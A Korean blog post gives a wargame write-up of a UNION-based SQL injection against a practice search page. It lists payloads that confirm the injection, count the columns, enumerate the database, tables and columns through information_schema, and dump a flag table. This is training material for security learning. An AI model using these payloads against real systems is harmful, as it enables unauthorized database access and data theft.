ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SQL Injection - 1
    wargame/segfault 2024. 6. 17. 09:05

     

     

    /sqli_1/ 에 접속하면 /sqli/search.php로 redirect 된다.

     

    검색창에 존재하는 검색옵션은 User ID 밖에 없다. 지금 보이는 유저중에 mario를 검색해보겠다.

    검색 시 동일한 페이지에 get 방식으로 search=mario로 담아서 보낸다. 결과는 mario가 정상적으로 출력된다. 그러나 검색페이지 이기 때문에 select문에서 like 연산자를 쓸 가능성이 높기 때문에 mario 전체를 검색하지 않고 ma 만 검색해보겠다.

     

    결과는 다음과 같이 mario도 정상출력 되었고 그 뿐 아니라 normaltic도 출력되었다. 따라서 추측 가능한 sql문은 다음과 같다.

    # SELECT * from member WHERE id like '%__%'

    SQL Injection 가능성 확인

     

    여기서 sql injection이 가능한지 판단하기 위해 삽입할 구는 다음과 같다.

    # SELECT * from member WHERE id like '%__%'
    # mar%' and '1%'='1		을 삽입하면
    # SELECT * from member WHERE id like '%mar%' and '1%'='1%'    이 된다.

    여기서 normaltic은 빼고 mario만 출력하기 위해 mar으로 바꾸었다.

     

     

    다음과 같이 정상적으로 출력이 되는 것을 확인할 수 있다. 따라서 검색창에서 sql injection이 가능하다고 판단된다.


    SQL Injection을 이용한 Flag 찾기

    먼저 sql 질의 결과가 화면에 출력되기 때문에 Union SQL Injection을 사용한다.

    1. Column 개수 찾기

     

    # order by 키워드를 이용해 column 개수를 찾는다. order by 3을 where문 뒤에
    # 덧붙였는데 에러가 나지 않는다면, 현재 SELECT문에서 가져오는 column의 개수가 최소 3개라는 것이다.
    # 그렇기에 에러가 나서 아무것도 출력 되지 않는 지점의 전까지 입력한 숫자가 column 개수이다.
    
    # mar%' order by 4 #	삽입
    
    # SELECT * from member WHERE id like '%__%'
    
    # SELECT * from member WHERE id like '%mar%' order by 4 #%'

    4로 보내면 정상적으로 출력되지만, 5로 바꿔서 출력하면 아무것도 출력되지 않는다.

    따라서 column의 개수는 4개이다.


    2. 출력되는 column 위치 찾기

    union select를 사용해서 column이 어디에서 출력되는지 확인한다.

     

     

    # mar%' union select 1,2,3,4 #		를 삽입한다.
    
    # SELECT * from member WHERE id like '%__%'
    
    # SELECT * from member WHERE id like '%mar%' union select 1,2,3,4 #%'
    # 이 된다

     

    원래 select문에서 나온 mario가 가장 위에 나오고, 그 다음에 union으로 덧붙여진 데이터들이 나온다. 여기서는 column 4개가 모두 출력되는 것을 알 수 있다. 따라서 나는 데이터를 추출하기 위해 column 첫번째 자리를 사용하도록 하겠다.


    3. DB 이름 확인

    db 종류마다 database 이름을 출력하는 방법이 다르다. 여기서는 mysql을 기준으로 설명한다.

    # mysql에서 db이름을 출력하기 위해선 SELECT database()를 하면 된다.
    # 따라서 union 절의 첫번째 column 자리에 database() 를 삽입한다.
    
    # SELECT * from member WHERE id like '%__%' 에
    # mar%' union select database(),2,3,4 #		를 삽입하여
    
    # SELECT * from member WHERE id like '%mar%' union select database(),2,3,4 #%'
    # 가 된다.

    mar%' union select database(),2,3,4 #     삽입.

     

    얻어낸 DB 이름: sqli_1

     


    4. Table 이름 확인

     

    # mysql에서 Table 이름을 출력하기 위해선
    # SELECT table_name from information_schema.tables where table_schema='db이름'
    # 을 삽입하면 된다. 바로 전 단계에서 얻어낸 db이름이 sqli_1이었으므로 이것을 삽입하면 결국
    # SELECT table_name from information_schema.tables where table_schema='sqli_1'
    # 이 된다. 뽑아낼 column에 해당하는 table_name을 아까와 같이 삽입하고
    # from 부터 뒷부분은 union 가장 뒤에 삽입하면 된다.
    
    # 따라서 union 절의 첫번째 column 자리에 table_name 를 삽입한다.
    # 그리고 union 절 마지막 column 뒤에 from information_schema.tables where table_schema='sqli_1' # 을 삽입한다.
    
    # SELECT * from member WHERE id like '%__%' 에
    # mar%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' #		를 삽입하여
    
    # SELECT * from member WHERE id like '%mar%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' #%'
    # 가 된다.

     

    mar%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' #     삽입

     

     

    얻어낸 Table 이름: flag_table, plusFlag_Table, user_info

     

    여기서 우리는 flag_table으로 계속 진행한다.

     


    5. column 이름 확인

     

    # mysql에서 column 이름을 출력하기 위해선
    # SELECT column_name from information_schema.columns where table_name='table이름'
    # 을 삽입하면 된다. 바로 전 단계에서 얻어낸 table 이름이 flag_table이었으므로 이것을 삽입하면 결국
    # SELECT column_name from information_schema.columns where table_name='flag_table'
    # 이 된다. 뽑아낼 column에 해당하는 column_name을 아까와 같이 삽입하고
    # from 부터 뒷부분은 union 가장 뒤에 삽입하면 된다.
    
    # 따라서 union 절의 첫번째 column 자리에 column_name 를 삽입한다.
    # 그리고 union 절 마지막 column 뒤에 from information_schema.columns where table_name='flag_table' # 을 삽입한다.
    
    # SELECT * from member WHERE id like '%__%' 에
    # mar%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' #		를 삽입하여
    
    # SELECT * from member WHERE id like '%mar%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' #%'
    # 가 된다.

     

    mar%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' #  삽입

     

    column 이름: flag

     


    6. Data 추출

    이제 column이름도 알고, table 이름도 알기 때문에 union 절에 알아서 맞추면 된다.

     

    # SELECT * from member WHERE id like '%__%' 에
    
    # mar%' union select flag,2,3,4 from flag_table #		을 삽입하면
    # SELECT * from member WHERE id like '%mar%' union select flag,2,3,4 from flag_table #%'
    # 이 되어 데이터가 추출된다.

     

    ma%' union select flag,2,3,4 from flag_table #    삽입

     

    다음과 같이 데이터가 정상 출력되면서 flag를 획득했다.

    'wargame > segfault' 카테고리의 다른 글

    SQL Injection - Error Based SQLi Basic  (0) 2024.06.17
    SQL Injection - 2  (0) 2024.06.17
    Authentication Bypass - Secret Login  (0) 2024.06.16
    Authentication Bypass - Login Bypass 5  (0) 2024.06.16
    Authentication Bypass - Login Bypass 4  (0) 2024.06.16
Designed by Tistory.